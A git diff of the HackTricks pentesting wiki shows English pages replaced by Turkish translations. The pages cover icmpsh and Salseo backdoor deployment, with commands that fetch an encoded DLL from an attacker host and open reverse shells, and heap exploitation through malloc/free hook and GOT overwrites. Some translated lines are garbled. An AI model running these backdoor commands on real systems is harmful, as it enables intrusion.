**Buradan** [**ücretsiz bir hesap**](https://serpapi.com/users/sign_up) oluşturabilirsiniz.**
**Buradan** [**ücretsiz bir hesap oluşturabilirsiniz**](https://serpapi.com/users/sign_up)**.**
---
@ -109,7 +109,7 @@ Daha fazla bilgi için [**bloglarına**](https://serpapi.com/blog/) göz atın v
<figure><img src="images/image (2).png" alt=""><figcaption></figcaption></figure>
Mobil uygulamaları ve cihazları korumak için güvenlik açığı araştırması, penetrasyon testi ve tersine mühendislik yapma yeteneklerini ve teknolojilerini öğrenin. **iOS ve Android güvenliğinde ustalaşın** ve **sertifika alın**:
Mobil uygulamaları ve cihazları korumak için güvenlik açığı araştırması, penetrasyon testi ve tersine mühendislik yapmak için gereken teknolojileri ve becerileri öğrenin. **iOS ve Android güvenliğinde ustalaşın** ve **sertifika alın**:
{% embed url="https://academy.8ksec.io/" %}
@ -123,13 +123,13 @@ Mobil uygulamaları ve cihazları korumak için güvenlik açığı araştırmas
WebSec, **her şeyi yapan** bir **hepsi bir arada güvenlik şirketidir**; Pentesting, **Güvenlik** Denetimleri, Farkındalık Eğitimleri, Phishing Kampanyaları, Kod İncelemesi, İstismar Geliştirme, Güvenlik Uzmanları Dış Kaynak Kullanımı ve daha fazlasını yapmaktadır.
WebSec'in bir diğer ilginç yanı, sektördeki ortalamadan farklı olarak WebSec'in **yeteneklerine çok güvenmesidir**, o kadar ki **en iyi kalite sonuçları garanti eder**, web sitelerinde "**Eğer hackleyemiyorsak, ödemiyorsunuz!**" ifadesi yer almaktadır. Daha fazla bilgi için [**web sitelerine**](https://websec.nl/en/) ve [**bloglarına**](https://websec.nl/blog/) göz atın!
WebSec'in bir diğer ilginç yanı, sektördeki ortalama ile karşılaştırıldığında WebSec'in **yeteneklerine çok güvenmesidir**, o kadar ki **en iyi kalite sonuçları garanti eder**, web sitelerinde "**Eğer hackleyemiyorsak, ödemiyorsunuz!**" ifadesi yer almaktadır. Daha fazla bilgi için [**web sitelerine**](https://websec.nl/en/) ve [**bloglarına**](https://websec.nl/blog/) göz atın!
Yukarıdakilere ek olarak WebSec, HackTricks'in de **kararlı bir destekçisidir.**
Yukarıdakilere ek olarak WebSec, **HackTricks'in kararlı bir destekçisidir.**
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
## Lisans ve Feragatname
## Lisans & Feragatname
Onları kontrol edin:

1
src/SUMMARY.md
View File

@ -868,3 +868,4 @@
- [Cookies Policy](todo/cookies-policy.md)

2
src/android-forensics.md
View File

@ -1,4 +1,4 @@
# Android Adli Bilimi
# Android Adli Tıp
{{#include ./banners/hacktricks-training.md}}

20
src/backdoors/icmpsh.md
View File

@ -1,31 +1,25 @@
{{#include ../banners/hacktricks-training.md}}
Download the backdoor from: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh)
Arka kapıyı indirin: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh)
# Client side
# İstemci tarafı
Execute the script: **run.sh**
**If you get some error, try to change the lines:**
Scripti çalıştırın: **run.sh**
**Eğer bir hata alırsanız, satırları değiştirmeyi deneyin:**
```bash
IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1)
IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }')
```
**For:**
**İçin:**
```bash
echo Please insert the IP where you want to listen
read IP
```
# **Kurban Tarafı**
# **Victim Side**
Upload **icmpsh.exe** to the victim and execute:
**icmpsh.exe** dosyasını kurbana yükleyin ve çalıştırın:
```bash
icmpsh.exe -t <Attacker-IP> -d 500 -b 30 -s 128
```
{{#include ../banners/hacktricks-training.md}}

108
src/backdoors/salseo.md
View File

@ -2,159 +2,142 @@
{{#include ../banners/hacktricks-training.md}}
## Compiling the binaries
## Binaries' Derlenmesi
Download the source code from the github and compile **EvilSalsa** and **SalseoLoader**. You will need **Visual Studio** installed to compile the code.
Github'dan kaynak kodunu indirin ve **EvilSalsa** ile **SalseoLoader**'ı derleyin. Kodu derlemek için **Visual Studio**'nun yüklü olması gerekmektedir.
Compile those projects for the architecture of the windows box where your are going to use them(If the Windows supports x64 compile them for that architectures).
Bu projeleri, kullanacağınız Windows kutusunun mimarisi için derleyin (Eğer Windows x64 destekliyorsa, bu mimariler için derleyin).
You can **select the architecture** inside Visual Studio in the **left "Build" Tab** in **"Platform Target".**
**Mimariyi seçebilirsiniz** Visual Studio'da **sol "Build" Sekmesi** içindeki **"Platform Target"** kısmında.
(\*\*If you can't find this options press in **"Project Tab"** and then in **"\<Project Name> Properties"**)
(\*\*Bu seçenekleri bulamazsanız **"Project Tab"**'ına tıklayın ve ardından **"\<Project Name> Properties"**'e tıklayın)
![](<../images/image (132).png>)
Then, build both projects (Build -> Build Solution) (Inside the logs will appear the path of the executable):
Sonra, her iki projeyi de derleyin (Build -> Build Solution) (Kayıtlarda çalıştırılabilir dosyanın yolu görünecektir):
![](<../images/image (1) (2) (1) (1) (1).png>)
## Prepare the Backdoor
## Arka Kapıyı Hazırlama
First of all, you will need to encode the **EvilSalsa.dll.** To do so, you can use the python script **encrypterassembly.py** or you can compile the project **EncrypterAssembly**:
Öncelikle, **EvilSalsa.dll**'yi kodlamanız gerekecek. Bunu yapmak için, **encrypterassembly.py** python betiğini kullanabilir veya **EncrypterAssembly** projesini derleyebilirsiniz:
### **Python**
```
python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
```
### Windows
```
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
```
Tamam, şimdi Salseo işlemlerini gerçekleştirmek için her şeye sahipsin: **encoded EvilDalsa.dll** ve **SalseoLoader'ın binary'si.**
Ok, now you have everything you need to execute all the Salseo thing: the **encoded EvilDalsa.dll** and the **binary of SalseoLoader.**
**SalseoLoader.exe binary'sini makineye yükle. Hiçbir antivirüs tarafından tespit edilmemelidir...**
**Upload the SalseoLoader.exe binary to the machine. They shouldn't be detected by any AV...**
## **Arka kapıyı çalıştır**
## **Execute the backdoor**
### **Getting a TCP reverse shell (downloading encoded dll through HTTP)**
Remember to start a nc as the reverse shell listener and a HTTP server to serve the encoded evilsalsa.
### **TCP ters shell almak (HTTP üzerinden encoded dll indirme)**
nc'yi ters shell dinleyicisi olarak başlatmayı ve encoded evilsalsa'yı sunmak için bir HTTP sunucusu kurmayı unutma.
```
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
```
### **UDP ters shell almak (SMB üzerinden kodlanmış dll indirme)**
### **Getting a UDP reverse shell (downloading encoded dll through SMB)**
Remember to start a nc as the reverse shell listener, and a SMB server to serve the encoded evilsalsa (impacket-smbserver).
Ters shell dinleyicisi olarak bir nc başlatmayı ve kodlanmış evilsalsa'yı sunmak için bir SMB sunucusu kurmayı unutmayın.
```
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
```
### **ICMP ters shell almak (şifrelenmiş dll zaten kurbanın içinde)**
### **Getting a ICMP reverse shell (encoded dll already inside the victim)**
**This time you need a special tool in the client to receive the reverse shell. Download:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
#### **Disable ICMP Replies:**
**Bu sefer ters shell almak için istemcide özel bir araca ihtiyacınız var. İndirin:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
#### **ICMP Yanıtlarını Devre Dışı Bırak:**
```
sysctl -w net.ipv4.icmp_echo_ignore_all=1
#You finish, you can enable it again running:
sysctl -w net.ipv4.icmp_echo_ignore_all=0
```
#### Execute the client:
#### İstemciyi çalıştırın:
```
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
```
#### Inside the victim, lets execute the salseo thing:
#### Kurbanın içinde, salseo şeyini çalıştıralım:
```
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
```
## SalseoLoader'ı ana fonksiyonu dışa aktaran DLL olarak derleme
## Compiling SalseoLoader as DLL exporting main function
SalseoLoader projesini Visual Studio ile açın.
Open the SalseoLoader project using Visual Studio.
### Add before the main function: \[DllExport]
### Ana fonksiyondan önce ekleyin: \[DllExport]
![](<../images/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
### Install DllExport for this project
### Bu proje için DllExport'ı yükleyin
#### **Tools** --> **NuGet Package Manager** --> **Manage NuGet Packages for Solution...**
#### **Araçlar** --> **NuGet Paket Yöneticisi** --> **Çözüm için NuGet Paketlerini Yönet...**
![](<../images/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
#### **Search for DllExport package (using Browse tab), and press Install (and accept the popup)**
#### **DllExport paketini arayın (Gözat sekmesini kullanarak) ve Yükle'ye basın (ve açılan pencerede kabul edin)**
![](<../images/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
In your project folder have appeared the files: **DllExport.bat** and **DllExport_Configure.bat**
Proje klasörünüzde **DllExport.bat** ve **DllExport_Configure.bat** dosyaları belirdi.
### **U**ninstall DllExport
Press **Uninstall** (yeah, its weird but trust me, it is necessary)
**Kaldır**'a basın (evet, garip ama bana güvenin, bu gerekli)
![](<../images/image (5) (1) (1) (2) (1).png>)
### **Exit Visual Studio and execute DllExport_configure**
### **Visual Studio'dan çıkın ve DllExport_configure'ı çalıştırın**
Just **exit** Visual Studio
Sadece **çıkın** Visual Studio'dan
Then, go to your **SalseoLoader folder** and **execute DllExport_Configure.bat**
Sonra, **SalseoLoader klasörünüze** gidin ve **DllExport_Configure.bat**'ı çalıştırın.
Select **x64** (if you are going to use it inside a x64 box, that was my case), select **System.Runtime.InteropServices** (inside **Namespace for DllExport**) and press **Apply**
**x64**'ü seçin (eğer x64 bir kutu içinde kullanacaksanız, benim durumum buydu), **System.Runtime.InteropServices**'i seçin ( **DllExport için Ad Alanı** içinde) ve **Uygula**'ya basın.
![](<../images/image (7) (1) (1) (1) (1).png>)
### **Open the project again with visual Studio**
### **Projeyi tekrar Visual Studio ile açın**
**\[DllExport]** should not be longer marked as error
**\[DllExport]** artık hata olarak işaretlenmemelidir.
![](<../images/image (8) (1).png>)
### Build the solution
### Çözümü derleyin
Select **Output Type = Class Library** (Project --> SalseoLoader Properties --> Application --> Output type = Class Library)
**Çıktı Türü = Sınıf Kütüphanesi**'ni seçin (Proje --> SalseoLoader Özellikleri --> Uygulama --> Çıktı türü = Sınıf Kütüphanesi)
![](<../images/image (10) (1).png>)
Select **x64** **platform** (Project --> SalseoLoader Properties --> Build --> Platform target = x64)
**x64** **platformunu** seçin (Proje --> SalseoLoader Özellikleri --> Derleme --> Platform hedefi = x64)
![](<../images/image (9) (1) (1).png>)
To **build** the solution: Build --> Build Solution (Inside the Output console the path of the new DLL will appear)
Çözümü **derlemek için**: Derle --> Çözümü Derle (Çıktı konsolunda yeni DLL'nin yolu görünecektir)
### Test the generated Dll
### Üretilen Dll'yi test edin
Copy and paste the Dll where you want to test it.
Execute:
Dll'yi test etmek istediğiniz yere kopyalayın ve yapıştırın.
Çalıştırın:
```
rundll32.exe SalseoLoader.dll,main
```
Eğer hata görünmüyorsa, muhtemelen işlevsel bir DLL'niz var!!
If no error appears, probably you have a functional DLL!!
## DLL kullanarak bir shell alın
## Get a shell using the DLL
Don't forget to use a **HTTP** **server** and set a **nc** **listener**
Bir **HTTP** **sunucusu** kullanmayı ve bir **nc** **dinleyicisi** ayarlamayı unutmayın
### Powershell
```
$env:pass="password"
$env:payload="http://10.2.0.5/evilsalsax64.dll.txt"
@ -163,9 +146,7 @@ $env:lport="1337"
$env:shell="reversetcp"
rundll32.exe SalseoLoader.dll,main
```
### CMD
```
set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt
@ -174,5 +155,4 @@ set lport=1337
set shell=reversetcp
rundll32.exe SalseoLoader.dll,main
```
{{#include ../banners/hacktricks-training.md}}

12
src/banners/hacktricks-training.md
View File

@ -1,13 +1,13 @@
> [!TIP]
> Learn & practice AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Learn & practice GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> AWS Hacking'i öğrenin ve pratik yapın:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Support HackTricks</summary>
> <summary>HackTricks'i Destekleyin</summary>
>
> - Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
> - [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
> - **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi takip edin** **Twitter**'da 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Hacking ipuçlarını paylaşın,** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek.
>
> </details>

4
src/binary-exploitation/arbitrary-write-2-exec/README.md
View File

@ -1,3 +1 @@
# Arbitrary Write 2 Exec
# Keyfi Yazma 2 Çalıştır

50
src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md
View File

@ -4,34 +4,32 @@
## **Malloc Hook**
As you can [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), the variable **`__malloc_hook`** is a pointer pointing to the **address of a function that will be called** whenever `malloc()` is called **stored in the data section of the libc library**. Therefore, if this address is overwritten with a **One Gadget** for example and `malloc` is called, the **One Gadget will be called**.
Resmi GNU sitesinde belirtildiği gibi, **`__malloc_hook`** değişkeni, `malloc()` çağrıldığında **çağrılacak bir fonksiyonun adresine işaret eden bir işaretçidir** ve bu adres **libc kütüphanesinin veri bölümünde saklanır**. Bu nedenle, bu adres bir **One Gadget** ile üzerine yazılırsa ve `malloc` çağrılırsa, **One Gadget çağrılacaktır**.
To call malloc it's possible to wait for the program to call it or by **calling `printf("%10000$c")`** which allocates too bytes many making `libc` calling malloc to allocate them in the heap.
Malloc'u çağırmak için programın onu çağırmasını beklemek veya **`printf("%10000$c")** çağrısı yaparak, `libc`'nin bunları yığın üzerinde tahsis etmesi için çok fazla bayt tahsis etmek mümkündür.
More info about One Gadget in:
One Gadget hakkında daha fazla bilgi için:
{{#ref}}
../rop-return-oriented-programing/ret2lib/one-gadget.md
{{#endref}}
> [!WARNING]
> Note that hooks are **disabled for GLIBC >= 2.34**. There are other techniques that can be used on modern GLIBC versions. See: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
> GLIBC >= 2.34 için hook'ların **devre dışı olduğunu** unutmayın. Modern GLIBC sürümlerinde kullanılabilecek diğer teknikler vardır. Bakınız: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
## Free Hook
This was abused in one of the example from the page abusing a fast bin attack after having abused an unsorted bin attack:
Bu, sıralanmamış bir kutu saldırısından sonra hızlı bir kutu saldırısını kötüye kullanan sayfadaki örneklerden birinde kötüye kullanıldı:
{{#ref}}
../libc-heap/unsorted-bin-attack.md
{{#endref}}
It's posisble to find the address of `__free_hook` if the binary has symbols with the following command:
Binariesinin sembolleri varsa `__free_hook` adresini bulmak mümkündür:
```bash
gef➤ p &__free_hook
```
[In the post](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) you can find a step by step guide on how to locate the address of the free hook without symbols. As summary, in the free function:
[Postta](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) semboller olmadan free hook'un adresini nasıl bulacağınıza dair adım adım bir kılavuz bulabilirsiniz. Özetle, free fonksiyonunda:
<pre class="language-armasm"><code class="lang-armasm">gef➤ x/20i free
0xf75dedc0 &#x3C;free>: push ebx
@ -40,31 +38,31 @@ gef➤ p &__free_hook
0xf75dedcc &#x3C;free+12>: sub esp,0x8
0xf75dedcf &#x3C;free+15>: mov eax,DWORD PTR [ebx-0x98]
0xf75dedd5 &#x3C;free+21>: mov ecx,DWORD PTR [esp+0x10]
<strong>0xf75dedd9 &#x3C;free+25>: mov eax,DWORD PTR [eax]--- BREAK HERE
<strong>0xf75dedd9 &#x3C;free+25>: mov eax,DWORD PTR [eax]--- BURADA KIRIL
</strong>0xf75deddb &#x3C;free+27>: test eax,eax ;&#x3C;
0xf75deddd &#x3C;free+29>: jne 0xf75dee50 &#x3C;free+144>
</code></pre>
In the mentioned break in the previous code in `$eax` will be located the address of the free hook.
Önceki kodda belirtilen kırılmada `$eax` içinde free hook'un adresi bulunacaktır.
Now a **fast bin attack** is performed:
Şimdi bir **fast bin saldırısı** gerçekleştiriliyor:
- First of all it's discovered that it's possible to work with fast **chunks of size 200** in the **`__free_hook`** location:
- Öncelikle, **`__free_hook`** konumunda **200 boyutunda hızlı parçalar** ile çalışmanın mümkün olduğu keşfedildi:
- <pre class="language-c"><code class="lang-c">gef➤ p &#x26;__free_hook
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 &#x3C;__free_hook>
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
<strong>0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
</strong>0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6076f &#x3C;list_all_lock+15>: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6077f &#x3C;_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
</code></pre>
- If we manage to get a fast chunk of size 0x200 in this location, it'll be possible to overwrite a function pointer that will be executed
- For this, a new chunk of size `0xfc` is created and the merged function is called with that pointer twice, this way we obtain a pointer to a freed chunk of size `0xfc*2 = 0x1f8` in the fast bin.
- Then, the edit function is called in this chunk to modify the **`fd`** address of this fast bin to point to the previous **`__free_hook`** function.
- Then, a chunk with size `0x1f8` is created to retrieve from the fast bin the previous useless chunk so another chunk of size `0x1f8` is created to get a fast bin chunk in the **`__free_hook`** which is overwritten with the address of **`system`** function.
- And finally a chunk containing the string `/bin/sh\x00` is freed calling the delete function, triggering the **`__free_hook`** function which points to system with `/bin/sh\x00` as parameter.
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 &#x3C;__free_hook>
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
<strong>0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
</strong>0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6076f &#x3C;list_all_lock+15>: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6077f &#x3C;_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
</code></pre>
- Eğer bu konumda 0x200 boyutunda hızlı bir parça elde edebilirsek, çalıştırılacak bir fonksiyon işaretçisini yazmak mümkün olacaktır.
- Bunun için, `0xfc` boyutunda yeni bir parça oluşturulur ve birleştirilmiş fonksiyon bu işaretçi ile iki kez çağrılır, böylece hızlı bin içinde `0xfc*2 = 0x1f8` boyutunda serbest bırakılmış bir parçanın işaretçisini elde ederiz.
- Ardından, bu parçadaki edit fonksiyonu çağrılır ve bu hızlı binin **`fd`** adresi önceki **`__free_hook`** fonksiyonuna işaret edecek şekilde değiştirilir.
- Daha sonra, hızlı bin'den önceki işe yaramaz parçayı almak için `0x1f8` boyutunda bir parça oluşturulur, böylece **`__free_hook`** içinde bir hızlı parça elde etmek için `0x1f8` boyutunda başka bir parça oluşturulur ve bu parça **`system`** fonksiyonunun adresi ile üzerine yazılır.
- Ve nihayet, `/bin/sh\x00` dizesini içeren bir parça serbest bırakılır ve delete fonksiyonu çağrılır, bu da **`__free_hook`** fonksiyonunu tetikler ve `/bin/sh\x00` parametre olarak sistem işlevine işaret eder.
## References
## Referanslar
- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
- [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).

58
src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md
View File

@ -2,63 +2,63 @@
{{#include ../../banners/hacktricks-training.md}}
## **Basic Information**
## **Temel Bilgiler**
### **GOT: Global Offset Table**
The **Global Offset Table (GOT)** is a mechanism used in dynamically linked binaries to manage the **addresses of external functions**. Since these **addresses are not known until runtime** (due to dynamic linking), the GOT provides a way to **dynamically update the addresses of these external symbols** once they are resolved.
**Global Offset Table (GOT)**, dinamik bağlantılı ikili dosyalarda **harici fonksiyonların adreslerini** yönetmek için kullanılan bir mekanizmadır. Bu **adresler çalışma zamanında** (dinamik bağlantı nedeniyle) bilinmediğinden, GOT, bu harici sembollerin adresleri çözüldüğünde **dinamik olarak güncellenmesini** sağlar.
Each entry in the GOT corresponds to a symbol in the external libraries that the binary may call. When a **function is first called, its actual address is resolved by the dynamic linker and stored in the GOT**. Subsequent calls to the same function use the address stored in the GOT, thus avoiding the overhead of resolving the address again.
GOT'taki her giriş, ikilinin çağırabileceği harici kütüphanelerdeki bir sembole karşılık gelir. Bir **fonksiyon ilk kez çağrıldığında, gerçek adresi dinamik bağlayıcı tarafından çözülür ve GOT'a kaydedilir**. Aynı fonksiyona yapılan sonraki çağrılar, GOT'ta saklanan adresi kullanır ve böylece adresin tekrar çözülmesi için gereken yükten kaçınılır.
### **PLT: Procedure Linkage Table**
The **Procedure Linkage Table (PLT)** works closely with the GOT and serves as a trampoline to handle calls to external functions. When a binary **calls an external function for the first time, control is passed to an entry in the PLT associated with that function**. This PLT entry is responsible for invoking the dynamic linker to resolve the function's address if it has not already been resolved. After the address is resolved, it is stored in the **GOT**.
**Procedure Linkage Table (PLT)**, GOT ile yakından çalışır ve harici fonksiyonlara yapılan çağrıları yönetmek için bir trampolin görevi görür. Bir ikili dosya **ilk kez bir harici fonksiyonu çağırdığında, kontrol o fonksiyonla ilişkili PLT'deki bir girişe geçer**. Bu PLT girişi, fonksiyonun adresini çözmek için dinamik bağlayıcıyı çağırmaktan sorumludur eğer bu adres daha önce çözülmemişse. Adres çözüldükten sonra, **GOT**'a kaydedilir.
**Therefore,** GOT entries are used directly once the address of an external function or variable is resolved. **PLT entries are used to facilitate the initial resolution** of these addresses via the dynamic linker.
**Bu nedenle,** GOT girişleri, bir harici fonksiyon veya değişkenin adresi çözüldüğünde doğrudan kullanılır. **PLT girişleri, bu adreslerin dinamik bağlayıcı aracılığıyla ilk çözümlemesini kolaylaştırmak için kullanılır.**
## Get Execution
## İcra Alma
### Check the GOT
### GOT'u Kontrol Et
Get the address to the GOT table with: **`objdump -s -j .got ./exec`**
GOT tablosunun adresini almak için: **`objdump -s -j .got ./exec`**
![](<../../images/image (121).png>)
Observe how after **loading** the **executable** in GEF you can **see** the **functions** that are in the **GOT**: `gef➤ x/20x 0xADDR_GOT`
**Yükleme** sonrasında **GEF**'te **GOT**'ta bulunan **fonksiyonları** nasıl **görebileceğinizi** gözlemleyin: `gef➤ x/20x 0xADDR_GOT`
![](<../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
![](<../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
Using GEF you can **start** a **debugging** session and execute **`got`** to see the got table:
GEF kullanarak bir **hata ayıklama** oturumu **başlatabilir** ve GOT tablosunu görmek için **`got`** komutunu çalıştırabilirsiniz:
![](<../../images/image (496).png>)
### GOT2Exec
In a binary the GOT has the **addresses to the functions or** to the **PLT** section that will load the function address. The goal of this arbitrary write is to **override a GOT entry** of a function that is going to be executed later **with** the **address** of the PLT of the **`system`** **function** for example.
Bir ikili dosyada GOT, **fonksiyonların adreslerini** veya **PLT** bölümüne işaret eden adresleri içerir. Bu keyfi yazma işleminin amacı, daha sonra **çalıştırılacak** bir fonksiyonun **GOT girişini**, örneğin **`system`** **fonksiyonunun** PLT adresi ile **geçersiz kılmaktır**.
Ideally, you will **override** the **GOT** of a **function** that is **going to be called with parameters controlled by you** (so you will be able to control the parameters sent to the system function).
İdeal olarak, **parametrelerini kontrol ettiğiniz** bir **fonksiyonun GOT'unu** **geçersiz kılacaksınız** (böylece sistem fonksiyonuna gönderilen parametreleri kontrol edebileceksiniz).
If **`system`** **isn't used** by the binary, the system function **won't** have an entry in the PLT. In this scenario, you will **need to leak first the address** of the `system` function and then overwrite the GOT to point to this address.
Eğer **`system`** ikili dosya tarafından **kullanılmıyorsa**, sistem fonksiyonu **PLT'de** bir girişe sahip **olmayacaktır**. Bu senaryoda, önce **`system`** fonksiyonunun adresini **sızdırmanız** ve ardından GOT'u bu adrese işaret edecek şekilde **geçersiz kılmanız** gerekecektir.
You can see the PLT addresses with **`objdump -j .plt -d ./vuln_binary`**
PLT adreslerini **`objdump -j .plt -d ./vuln_binary`** ile görebilirsiniz.
## libc GOT entries
## libc GOT girişleri
The **GOT of libc** is usually compiled with **partial RELRO**, making it a nice target for this supposing it's possible to figure out its address ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)).
**libc'nin GOT'u** genellikle **kısmi RELRO** ile derlenir, bu da onun adresini bulmanın mümkün olduğunu varsayarak iyi bir hedef haline getirir ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)).
Common functions of the libc are going to call **other internal functions** whose GOT could be overwritten in order to get code execution.
libc'nin yaygın fonksiyonları, kod yürütme elde etmek için GOT'unun geçersiz kılınabileceği **diğer iç fonksiyonları** çağıracaktır.
Find [**more information about this technique here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries).
Bu teknik hakkında [**daha fazla bilgi burada**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries) bulun.
### **Free2system**
In heap exploitation CTFs it's common to be able to control the content of chunks and at some point even overwrite the GOT table. A simple trick to get RCE if one gadgets aren't available is to overwrite the `free` GOT address to point to `system` and to write inside a chunk `"/bin/sh"`. This way when this chunk is freed, it'll execute `system("/bin/sh")`.
Heap istismarında CTF'lerde, parçaların içeriğini kontrol edebilmek ve bir noktada GOT tablosunu bile geçersiz kılabilmek yaygındır. Eğer bir gadget mevcut değilse, RCE elde etmek için basit bir hile, `free` GOT adresini `system`'a işaret edecek şekilde geçersiz kılmak ve bir parçanın içine `"/bin/sh"` yazmaktır. Bu şekilde, bu parça serbest bırakıldığında, `system("/bin/sh")` komutunu çalıştıracaktır.
### **Strlen2system**
Another common technique is to overwrite the **`strlen`** GOT address to point to **`system`**, so if this function is called with user input it's posisble to pass the string `"/bin/sh"` and get a shell.
Bir diğer yaygın teknik, **`strlen`** GOT adresini **`system`**'a işaret edecek şekilde geçersiz kılmaktır, böylece bu fonksiyon kullanıcı girdisi ile çağrıldığında `"/bin/sh"` dizesini geçmek ve bir shell almak mümkündür.
Moreover, if `puts` is used with user input, it's possible to overwrite the `strlen` GOT address to point to `system` and pass the string `"/bin/sh"` to get a shell because **`puts` will call `strlen` with the user input**.
Ayrıca, `puts` kullanıcı girdisi ile kullanıldığında, `strlen` GOT adresini `system`'a işaret edecek şekilde geçersiz kılmak ve `"/bin/sh"` dizesini geçmek mümkündür çünkü **`puts`, kullanıcı girdisi ile `strlen`'ı çağıracaktır**.
## **One Gadget**
@ -66,22 +66,22 @@ Moreover, if `puts` is used with user input, it's possible to overwrite the `str
../rop-return-oriented-programing/ret2lib/one-gadget.md
{{#endref}}
## **Abusing GOT from Heap**
## **Heap'ten GOT'u Kötüye Kullanma**
A common way to obtain RCE from a heap vulnerability is to abuse a fastbin so it's possible to add the part of the GOT table into the fast bin, so whenever that chunk is allocated it'll be possible to **overwrite the pointer of a function, usually `free`**.\
Then, pointing `free` to `system` and freeing a chunk where was written `/bin/sh\x00` will execute a shell.
